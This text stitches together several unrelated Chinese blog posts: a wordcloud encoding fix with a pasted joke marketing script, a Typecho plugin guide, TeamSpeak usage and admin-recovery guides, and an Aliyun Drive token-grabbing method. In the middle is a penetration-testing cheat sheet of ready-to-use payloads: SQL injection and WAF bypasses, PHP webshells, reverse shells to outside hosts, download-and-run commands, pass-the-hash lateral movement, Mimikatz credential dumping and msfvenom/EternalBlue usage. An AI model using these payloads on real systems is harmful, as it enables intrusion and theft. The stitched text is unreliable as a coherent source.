试错，从 UTF-8 到 GBK 再到 GB18030，显然都不能解决问题。如果通过设置 errors=ignore 强行忽视非法编码，要么导致源文文本乱码，要么就会在词库过滤时发现 stop_words 集合并没有起作用（原因一致）。由此引发的 Error 信息如下。 UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position 91: illegal multibyte sequence UnicodeDecodeError: 'utf-8' codec can't decode byte 0xbd in position 0: invalid start byteshell 补充：如果数据集从创建到调用都是自己通过python函数操作，往往不会出现编码格式错乱的问题（无非就 GBK 或 UTF-8 ）。出现问题很可能是数据集被创建后自己 手动 打开 修改 保存 了源文档！这时候保存的文档编码格式可能会分裂成 UTF-8，GBK，GB18030，Unicode，ANSI，GB2312，BIG5 等等常见的中文格式编码，这要看编辑器的默认转录格式 wordcloud易错参数解释 参数**stopwords接受的文本格式是set** 函数 **generate接受的文本格式是str** # 词云实例化 wc = wordcloud.WordCloud(stopwords=stop_words) print(type(stop_words)) # <class 'set'> # 词云生成 wc.generate(btext) print(type(btext)) # <class 'str'> 实验附件 这里呈上沙雕营销号文案 """接着利用剪刀剪下来一个正方形纸片。 利用我们的美工刀在上面裁剪一个小孔。 小孔裁剪好了。 大家肯定非常好奇。 这个是用来做什么的？ 其实这个就是我们用来阅读的一个小神器。 我们在阅读的时候。 可以将它放在我们的书上。 然后这样逐字阅读。 这个方法就是采用了我们小孔成像的原理。 这样我们阅读的时候就可以方便很多。 而且看得很清楚。 我们可以先把油桶的提手取下来 其实取下提手也是有小方法的 我们只要把这一圈齿片一片一片的往外掰 掰完以后，我们就可以把它取下来了 接下来我们看看它的妙用吧 家里衣服太多衣柜挂不下 我们只需把油桶上的塑料把手清洗干净 然后套在衣架上 这时我们将下一件衣服也挂在上面 这样就能为我们节省很多空间 我们拿出家里的吹风机 开启冷风档 大家看这个时候它散发出来的一股吸附力 能够将我们的一次性纸杯牢牢吸附在它的后盖上 能够轻松地吸附我们桌子上面的一些纸屑 热熔胶热熔胶热熔胶热熔胶热熔胶 然后将刀片黏在梳子上 我们准备一个卫生巾 把它贴在门把手侧面 妙用2用来戒烟 将风油精涂在香烟上 会有一股难闻的气味 吸烟者抽了就会头痛恶心 能达到减肥的效果 第三个妙用 我们可以在上面套一个垃圾袋 要当垃圾桶吗 这样把它放在我们卧室的床头上 在扔垃圾的时候就会变得非常容易了 如果觉得有异味的话 如果觉得有异味的话 我们扔完垃圾后可以盖上盖子 我们先来准备食材：馒头、蜂蜜还有洗洁精 我们拿出馒头在上面 均匀地涂抹一些蜂蜜 然后再加入适量的洗洁精 切记涂抹均匀o 然后我们把它放在老鼠经常出没的地方 老鼠一碰到找个馒头就会轻松挂掉了 原理解释 蜂蜜是甜性物质 涂抹它是为了吸引老鼠过来 而洗洁精本身就是有毒的液体，老鼠一沾到就会自然挂掉 你说涂点老鼠药上去1那我银A可能还能稍微能接受一点 可以我今天颠对洗清精的认识好吧 绝对不会出现老鼠 今天呢城西教大家用现有的材料自制胶水那个效果呢用起来跟买的 效果是擦不多的 首先我们只需要准备一点淀粉 淀粉就是那个玉米定粉啊 这个声音像我小学门口小卖店的老板 接着我们挤入洗洁精 大家看同样是有粘的效果的 希望对大家有所帮助 今天呢城西就跟大家讲一下 我们一定要在我们的钱包里面放一张纸 为什么呢？（为什么这个营销号不上字幕？） 作用可是非常的大啊 首先呢我们要拿出 一张这么大小的纸 裁剪出跟这里差不多大小 然后呢我们要在这个上面写上我们的姓名 姓名然后电话号码 然后呢还有家庭住址之类的 这个纸啊塞在最显眼的地方 把冰淇淋拿出来把肥皂弄成永淇淋装回袋子 另外我们还可以在废旧的鞋子里面 铺上一层锡箔纸 因为锡箔纸不怕烫 我们把它放在床头 就可以成为一个小小的烟灰缸啦 你为什么非要用个高跟鞋去做烟灰缸 实个烟灰缸就这么难吗 还要铺上锡销E 哇失响1你好讲究晚你，意识好强哦 是不是非常方便呢 而且也非常美观 像一件艺术品 火机放在水里以后还能开火吗 打火机大家常见特别的男生 今天我们就来做这实验 首先准畜一个打火机和一个气球 把气球套在打火机上面 然后端口打个死结 接者我们把用气球装好的打火机放进水里 来回浸泡几分钟后拿出来 会发生什么变化呢 我们把气球剪破口 然后把火机拿出来 开火试一下竟然还是能用的 火花比原来的还要大 原来打火机在的密封下浸水 还是可以用的 我们拿手机看电视时 可以将塑料提手向后掰几下 这时再把手机放上去 这样我们手机支架就做好了 我们拿来一个家里面都有的废旧盒子 接着利用剪刀剪下来一个正方形纸片 利用我们的美工刀在上面裁剪一个小孔 这一次性纸杯相信大家都不陌生 很多朋友的家里都会买一些这种纸杯 用它来招待客人 但是你知道 在这些纸杯上面扎一些小洞 他有什么作用吗 下面跟三毛一起来了解一下吧 首先我们准备一个一次性纸杯 还有一个叉子 然后我们用叉子 在这个杯子的底部给他戳一个小洞 将杯子底部扎完小洞之后 然后我们再将这个纸杯 放到另一个杯子里面 接下来我们再到这杯子里面 放入少许的茶叶 添加适量的茶叶之后 我们再倒入适量的开水 添加开水之后我们让它浸泡2-3分钟时间 浸泡2-3分钟时间后我们在将里面的杯子拿出来 我们现在可以看到 杯子里面的茶叶已经全部给过滤出来了 非常的方便 用这个方法来泡茶喝 它还可以节省茶叶 这么一点点茶叶我们可以泡好几杯茶 小妙招 超实用的小妙招 学会了快告诉妈妈 准备一张吸油纸 将牙膏一粒一粒均匀地挤在纸上 然后撒上小苏打 等待凝固后 把它装进小瓶子里 刷牙的时候倒出一粒 就可以直接刷牙了 将香皂融化吸入针管 然后挤入药板模型里面 用锡纸封柱模板 旅游的时候带在身上 随时随地都可以用来洗手 废旧的牙刷还有怎样的妙用呢 跟我来看看 我们先准备两个差不多的牙刷 用皮筋将它们绑起来 那么这两支牙刷的第一个作用就是用来清洗水龙头 由于水龙头的形状比较特殊 所以它的内侧经常很难清理到 将牙刷取开 然后均匀的擦拭 可以看到里外都清理的非常干净 而且可以随时调换位置 喝茶剩下的茶叶根不要扔 我们还可以拿它来做很实用的东西 首先将茶叶取出来 挤干水分放入盘中 然后翻在太阳下晒干 晒好后 将我们穿的袜子脱下来一只 将晒干的茶叶倒入袜子中 扎好口 一个便携的香袋就完成了 茶香四溢 怎么样 是不是很实用呢 如果实用别忘记点赞 """ 转自：Echosec @QIN2DIM版权属于：QIN2DIM原文链接：https://blog.echosec.top/p/python-jieba-wrodcloud/转载时须注明出处及本声明
食用指南 操作前请做好相应备份工作 此插件只适用于Handsome主题，未对其它主题优化！！！ 请先将插件置于Typecho的plugins目录下，且插件目录名应为UserAgent，注意大小写，否则将无法正常食用！！！ 修改Handsome主题，component目录下的comments.php代码文件，大概第60~80行左右， <?php echo $author; ?><?php echo $Identity; ?> 添加代码<?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> ，修改后代码如下： <?php echo $author; ?><?php echo $Identity; ?><?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> 获取真实IP Typecho开启CDN后，可能无法获取访客真实IP，只能取得CDN节点IP，为此可以在Typecho博客网站的根目录的config.inc.php插入下面的代码： //** 防止CDN造成无法获取客户真实IP地址 */ if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $list = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $list[0]; } [button color="info" icon="" url="https://pan.deepfal.cn/api/v3/file/source/8857/UserAgent.zip?sign=GJ2gpWXltFLgkZet4q0LFk0WfcekZuGKLMdF_lVbZXw%3D%3A0" type="round"]下载插件[/button]
本文章仅作技术研究，请勿用作非法途径! Web SQL Inject 联合查询爆显示位 union select 1,user(),3 联合查询爆表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 联合查询爆字段名 union select 1,2,group_concat(column_name) from information_schema.column where table_schema='users' --+ 联合查询爆字段值 union select 1,username,password from `key` --+ 万能密码 admin' or'1'='1' 布尔盲注测试 and length(database())=4 --+ 时间盲注测试 or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+ floor报错注入 select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); extractvalue报错注入 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); info outfile写文件 select '<?php phpinfo();?>' into outfile '/var/www/html' load_file 读文件 union select load_file('/etc/passwd') access and (select count(*) from msysobjects)>0 and 1=1 mssql and (select count(*) from sysobjects)>0 and 1=1 oracle and (select count(*) from sys.user_tables)>0 and 1=1 Bypass 大小写 uNIoN sELecT 1,2,3 空格绕过 /**/%55nION/**/%53ElecT/**/1,2,3Select(user())from test where id=1 and 1=1; 内联注释 /*!UNION*/+/*!SELECT*/+1,2,3/*UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--- 双写绕过 UNIunionON+SELselectECT+1,2,3 编码绕过 URLEncode编码：or 1=1即%6f%72%20%31%3d%31 ASCII编码： Test：CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116) 十六进制编码：SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) PHP伪协议 php伪协议，以base64编码输出 php://filter/read=convert.base64-encode/resource=index.php php伪协议，以base64编码写入 php://filter/write=convert.base64-decode/resource=xx.php data协议命令执行 data:text/plain,<?php system('whoami');?> 一句话木马 php <?php eval($_POST['pwd']);?> asp <%execute(request('pwd'))%> aspx <% @Page Language='jscript'%><%eval(Request.Item['pwd'],'unsafe');%> 生成图片马 copy 1.jpg /b + 1.php /b shell.php XSS Payload alert(document.cookie)</script ' onmouseover='alert(/xss/) " onclick="alert(/xss/) javascript:alert(/xss/) Python沙箱逃逸 python2沙箱逃逸 "".__class__.__mro__[-1].__subclasses__()[71].__init__.globales__['os'].system('ls') python3沙箱逃逸 "".__class__.__mro__[-1].__subclasses__()[117].init__.globales['system']('ls') PHP命令执行 <?php $cmd=$_POST['cmd'];@exec($cmd,$return);var_dump($return);?> <?php $last_line = system("ls",$retval);echo $last_line;?> <?php $output = passthru("ls -la");echo " $output ";?> <?php $output = shell_exec('ls -la');echo " $output ";?> <?php $fd = popen("whoami", 'r');$ret = fgets($fd);print($ret);?> <?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stdoutput = $stdout->ReadAll(); echo $stdoutput ?> PHP代码执行 <?php @eval($_POST['cmd']);?> <?php @assert($_POST['cmd']);?> <?php echo "{${phpinfo()}}";?> <?php call_user_func("assert",$_POST['cmd']);?> <?php preg_replace("/test/e",$_POST['cmd'],"just test");?> <?php $func = create_function('',$_POST['cmd']);$func;?> <?php $cmd=$_POST['cmd'];$array[0]=$cmd;call_user_array("assert",$array);?> <?php $cmd=$_POST['cmd'];$array1=array($cmd);$func=$_GET['func'];array_filter($array1,$func);?> <?php $func=$_GET['func'];$cmd=$_POST['cmd'];$ayyar[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;?> 横向渗透 WMIC wmic /node:10.10.10.201 /user:administrator /password:hetianlab.com process call create "cmd.exe /c ipconfig" IPC + Schtasks net use \\10.10.10.201\c$ /user:administrator "hetianlab.com" copy c:\windows\temp\59.exe \\10.10.10.201\c$ schtasks /create /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /sc MINUTE /mo 1 /tn test2 /tr "c:\59.exe" schtasks /run /s 10.10.10.201 /u de1ay\administrator /p "hetianlab.com" /tn test2 schtasks /delete /tn At1 /s 10.10.10.201 /u administrator /p hetianlab.com IPC + AT net use \\10.10.10.201\c$ /user:administrator "hetianlab.com" copy 59.exe \\10.10.10.201\c$ at \\10.10.10.201 19:08 c:\59.exe Smbexec smbexec.exe heetian\Administrator:hetianlab.com@10.10.10.201 Psexec PsExec.exe \\192.168.10.201 -h heetian\Administrator -p hetianlab.com -s cmd.exe -accepteula PTH mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.10.10.201 /ntlm:579110c49145015c47ecd267657d3174" exit wmiexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 "whoami" smbexec.exe -hashes aad3b435b51404eeaaad3b435b51404ee:579110c49145015c47ecd267657d3174 administrator@10.10.10.201 Wmiexec wmiexec.exe -share admin$ administrator:hetianlab.exe@10.10.10.201 渗透测试 反弹shell Bash bash -i >& /dev/tcp/192.168.1.1/3344 0>&1 0<&196;exec 196<>/dev/tcp/192.168.1.1/3344; bash <&196 >&196 2>&196 NC nc -e /bin/bash 192.168.1.1 3344 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.1 3344 > /tmp/f PHP php -r '$sock=fsockopen("192.168.1.1",3344);exec("/bin/bash -i <&3 >&3 2>&3");' Telnet telnet 192.168.1.1 8080 | /bin/bash | telnet 192.168.1.1 9090 crontab * * * * * /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1 Socat socat TCP:192.168.1.1:3344 EXEC:bash socat TCP:192.168.1.1:3344 EXEC:"bash -li",pty,stderr,setsid,sigint,sane 获得伪终端 python -c 'import pty;pty.spawm("/bin/bash")' 信息收集 dig @223.5.5.5 hetianlab.com -t A nslookup hetianlab.com 223.5.5.5 nmap -sn -Pn hetianlab.com --script hostmap-crtsh whois hetianlab.com site:hetianlab.com web inurl:login intext:蚁景网安学院 intitle:后台登录 filetype:xls 身份证 文件传输 bitsadmin下载文件 bitsadmin /transfer lan http://192.168.1.2/1.hta C:\temp\1.hta certutil下载文件并执行 certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe shell.exe & shell.exe certutil清除缓存 certutil.exe -urlcache -split -f http://192.168.1.2/shell.exe delete powershell下载文件 powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.2/1.hta','1.hta')" powershell.exe (new-object system.net.webclient).downloadfile('http://192.168.1.2/1.hta','1.hta') powershell Invoke-WebRequest -uri "http://192.168.1.2/1.hta" -OutFile "$env:temp\1.hta" wget wget http://192.168.1.2/1.sh wget -O x.sh http://192.168.1.2/1.sh curl curl -o x.hta http://192.168.1.2/1.sh curl -O http://192.168.1.2/1.sh PHP php -r 'file_put_contents("lan.hta",file_get_contents("http://192.168.1.2/1.sh"));' Python python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close" python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.1.2/1.hta');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))" Ruby ruby -e 'require "net/http";Net::HTTP.start("192.168.1.227") { [http]r=http.get("/1.sh");open("/root/x.sh","wb") {[file]file.write(r.body)}}' Perl perl -MLWP::Simple -e 'getstore ("http://192.168.1.2/1.sh", "1.sh")' Powershell加载远程脚本 powershell -nop -w hidden -exec bypass -c "IEX (New-Object New.WebClient).DownloadString('http://192.168.1.2/shell.ps1');shell.ps1"; 工具 Mimikatz 启动mimikatz mimikatz.exe # privilege::debug # log c:\temp\mimikatz.log 获取登录账号的明文密码和Hash值 # sekurlsa::logonpasswords 备份注册表中的SYSTTEM & SAM hive C:\> reg save HKLM\SYSTEM system.hiv C:\> reg save HKLM\SAM sam.hiv mimikatz获取hashs # lsadump::sam /system:system.hiv /sam:sam.hiv 读取从lsass进程中保存文件里的明文密码 # sekurlsa::minidump lsass.dump NMAP 基础扫描 nmap -A -T4 192.168.1.1 存活主机探测 nmap -sP 192.168.1.1/24 全端口扫描 nmap -sS -v -T4 -Pm -p- 192.168.1.1 系统扫描 nmap -O -T4 -Pn -oG OSDetect 192.168.1.1 服务版本检测 nmap -sV -T4 -Pn -oG ServiceDetect 192.168.1.1 waf识别 nmap -p80,443 --script http-waf-detect 192.168.1.1 nmap -p80,443 --script http-waf-fingerprint 192.168.1.1 Msfvenom Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o /tmp/shell.exe Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f elf > shell.elf Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f macho > shell.macho Bash msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<Port> -f raw > shell.sh PHP msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.php JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > shell.jsp WAR msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f war > shell.war Python msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<Port> -f raw > shell.py Perl msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<Port> -f raw > shell.pl PowerShell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh > shell.ps1 Metasploit msfconsole msf > search eternalblue msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(...) > set RHOSTS 192.168.1.1 msf exploit(...) > exploit
什么是 TeamSpeak TeamSpeak (简称TS) 是一套专有的VoIP软件，使用者可以用耳机和麦克风，通过客户端软件连线到指定的服务器，与在服务器内频道的其他使用者进行通话。是一种很像电话会议的方式。 通常 TeamSpeak 的使用者大多为多人连线游戏的玩家，与同队伍的玩家进行通讯。在游戏的对战方面，语音对话通讯具有竞争优势。 简单来说，就是一款语音软件，那么有的人可能会问了，那我为什么不直接使用游戏内的语音软件，或者其他的，例如 Discord 或者 YY语音呢？ 为什么我们使用 TeamSpeak 为什么不用 YY 语音 首先，先说一下广告方面，用过 YY 的用户可能都知道上面满屏幕的广告，但是 TeamSpeak 和 Discord 并没有广告。 其次，捆绑软件方面，Discord没有捆绑， TeamSpeak 在安装时会询问是否安装 Overwolf (可选项，此软件为游戏内覆盖层，可在游戏内查看当前说话的用户)，而安装 YY 后，同时会捆绑 YY浏览器等软件。 第三，YY 并不支持感应麦，即达到一定分贝才会录入。 另外，不知道是否还有人记得，在17年年底的某会期间，YY屏蔽了海外用户的登陆。这一条也是我的一部分朋友转战 TeamSpeak 的原因。 为什么不用 Discord 这个原因很简单，被墙了，国内的小伙伴上不了，而且一般情况下，连接服务器后，延迟方面的问题也比较严重，我们也自然只能 Pass 掉它了。 为什么使用 TeamSpeak 首先 TeamSpeak 没有广告，没有捆绑软件，和 Discord 一样支持游戏内覆盖层，也可以单独调节每个用户的音量大小等等等等。至于服务器方面，TeamSpeak 的服务器一般都是自行租赁或架设的。 除此之外，在系统占用，语音质量，语音延迟方面，也完胜Discord 和 YY。如果您想的话，甚至可以在自己的内网搭建一台 TeamSpeak 服务器。 使用方法 下面来说说使用方法，此处会从安装开始说起，以方便新用户进行使用。 第一步，下载 TeamSpeak 此处可以前往 TeamSpeak 官网 teamspeak.com 进行下载，也可以通过我的转存地址进行下载，解决国内在官网下载速度过慢的问题 转存地址 橡木箱子 安装过程不需要过多的解释，一直往下就可以 其中 Overwolf 安装后，正如我上面所说的，可以在游戏内显示当前说话的用户，得知哪位用户进入/离开了当前频道等等… 安装完成后，打开 TeamSpeak ，会提示登录 myTeamSpeak 账号。(可选是否登录，个人建议登录一下) myTeamSpeak 账号的用途是同步书签，身份和配置等信息，比如在语音服务器获取的权限等等。 连接至服务器 点击主界面上面的 Connection - Connect，在 Server Nickname or Address 位置输入服务器地址， Nickname 位置输入昵称后，点击 Connect 即可。 也可在安装中文语言包后进行操作。 我们的 TeamSpeak 服务器地址 ts.lp1.net TeamSpeak 中文语言包 目前，我正在和寂听联手制作中文语言包，到目前为止，还处于早期阶段，但是基本界面的翻译基本完成，所以也可以拿来直接使用。 下载地址 https://github.com/jitingcn/TS3-Translation_zh-CN/releases 下载 Chinese_Translation_zh-CN.ts3_translation 并按照提示进行安装即可。 常见问题 以下内容的中文翻译将会尽量与上方最新版中文语言包相同 Q1 设置感应麦 点击 工具(Tools) ，打开 设置(Options) 菜单目录 ，选择 音频输入(Capture) 选项卡。 可以在右侧的 配置(Profile) 中看到 语音感应激活(Capture Voice Activation)选项，模式选择 Volume Gate。 下方的滑杆代表灵敏度，您可以通过 点击 开始测试(Begin test) 进行测试。 一般情况下，推荐打开下方的回声抑制(Echo reduction) 回声消除(Echo cancellation) 以及 高级选项(Advanced Options) ，但具体请根据个人情况及设备的不同，自行判断。 Q1.1 说话别人只能听到后半句 / 录入过多杂音 一般此情况为灵敏度配置不当导致的。 通过调节 Q1 中提到的滑杆，滑杆越往左越灵敏，不断地测试，找到适合自己的灵敏度即可解决此问题。 Q2 使用 TeamViewer 时 TeamSpeak 声音变小的问题 不得不说，这个问题，确实困扰了我很久，直到前几天，偶然发现了解决问题的办法 2020-03-27 Windows 更新之后位置有了些许变化 首先，右键点击任务栏的声音 - 打开声音设置 点击右侧的 声音控制面板 然后点击通信 选项卡，将系统默认的" 将其他声音的音量减小到80% " 修改为 不执行任何操作 ，即可完美解决声音变小的问题 低版本 Windows 系统可以参考下面的部分 首先，右键点击任务栏的声音 - 声音 然后点击通信 选项卡，将系统默认的"将其他声音的音量减小到80%" 修改为不执行任何操作，即可完美解决声音变小的问题 Q3 如何同时连接多台 TS 服务器 在连接服务器时点击 在新的标签页中 即可同时连接多台 TS 服务器。 Q4 如何使用权限密钥 打开权限密钥窗口 在顶部菜单中选择 权限(Permission) ，点击 使用权限密钥(Use Privilege key) 选项。 输入密钥即可 Q5 创建或编辑书签 打开书签 在 TeamSpeak 的左上角，单击 书签(Bookmarks) 菜单，然后单击 管理书签(Manage Bookmarks) 选项。 添加书签 在书签窗口中，请单击 新增书签 或在空白处点击右键，即可新建书签 。 编辑书签 单击刚刚创建的新书签或要编辑的书签。填写 书签名 ，服务器地址 ，昵称 和服务器密码 （如果需要）。然后单击确定 即可。 快速添加书签 连接服务器后，点击 书签(Bookmarks) 菜单，然后单击 添加到书签(Add to Bookmarks) 选项即可。 官方版本分流下载地址 文件名 内容 TeamSpeak3-Client-win64-3.5.6.exe TS3安装包 Chinese_Translation_zh-CN.ts3_translation 汉化文件 安装ts3后双击打开一次即可 [button color="black" icon="fa fa-cloud-download" url="https://yun.deepfal.cn/s/ERJb2a"]橡木箱子下载[/button]
找回服务器管理权限 如果你拥有server query的访问权限，请直接跳至步骤5. 如果你拥有server query的密码但却不记得用户名，请记住server query默认的用户名为serveradmin，然后请跳至步骤5. 进入服务器TeamSpeak 3所在的文件夹 cd /opt/teamspeak3-server_linux_amd64 首先关闭TeamSpeak 3服务。如果已经把TeamSpeak 3作为服务添加到系统里，请停止服务： systemctl stop teamspeak.service 如果没有作为服务运行，请执行以下来停止TeamSpeak 3： ./ts3server_startscript.sh stop 用以下命令启动TeamSpeak 3服务端： ./ts3server_minimal_runscript.sh serveradmin_password=yOuR_nEwP@ssw0rd ``` 这一步操作会重置你的serveradmin密码，请自行替换yOuR_nEwP@ssw0rd为你想要的密码。 打开任意telnet客户端，比如XShell. telnet 你的服务器IP:10011 login serveradmin yOuR_nEwP@ssw0rd 密码是你刚刚重设的密码 选择teamSpeak instance，默认为1, use 1并回车 现在输入以下命令来生成token tokenadd tokentype=0 tokenid1=6 tokenid2=0 这一步会生成新的token并打印在telnet客户端界面，复制好后进入客户端，连接到你自己的服务器， 然后选择“权限” --> “使用权限秘钥”，完成！ 在此之后关闭./ts3server_minimal_runscript.sh，使用你正常的方式启动TeamSpeak 3服务端即可。 全部过程请参考下图，，一定要记得先输入 use 1来选择默认的TeamSpeak instance哦！图中展示的是token生成的全过程 如何避免服务器权限丢失？ 在获取服务器权限以后登录TeamSpeak 3客户端并连接服务器，在“权限” --> “权限秘钥”创建一个新的服务器组Server Admin的密钥（Privilege Key）并保存好，以备不时之需。 使用myTeamSpeak账号自动同步自己的管理员权限，具体设置在客户端的“工具” --> “设置” --> “myTeamSpeak”中可以找到。
获取阿里云盘refresh_token用来干嘛？ 搭建目录文件需要抓取阿里云盘的 re­fresh_­to­ken，通过阿里云盘官网抓包等其他方法已无法获取或获取到的token无法正常使用，很多人不知道该怎么获取而放弃挂载，故而分享一下最新的获取方法。 需要准备的工具 pc 端：主流浏览器，阿里云盘账号 获取方法 打开以下链接，pc 端 F12 选择 net­work (网络)，勾选 Pre­serve log (不清除登录页面刷新 / 导航) https://passport.aliyundrive.com/mini_login.htm?lang=zh_cn&appName=aliyun_drive&appEntrance=web 选择扫码登陆，观察右侧的数据包瀑布流，当选择到扫码登录后每秒都会有一组(2个)检测登录的心跳包持续响应 可以在瀑布流上点击最右侧(最新)的绿点来观察该时间节点的数据包。 使用手机扫码并确认登陆，之后持续响应的数据包会停止发送，在瀑布流中找到最后一次响应的一组数据包(就是绿色的小点)，鼠标点击两个包(绿点)重叠的部分，下方就会显示出两个数据包的状态信息，点击query.do开头的数据包 打开数据包后点击响应(preview),在右边的一长串数据中找到 bizExt 的值，将该值完整的复制下来 该值是通过base64加密的，所需要的refresh_token就藏在这段加密字符串中，需要将其解密 打开以下链接进行 base64 解码，如图所示，即可获取 re­fresh_­to­ken https://base64.us/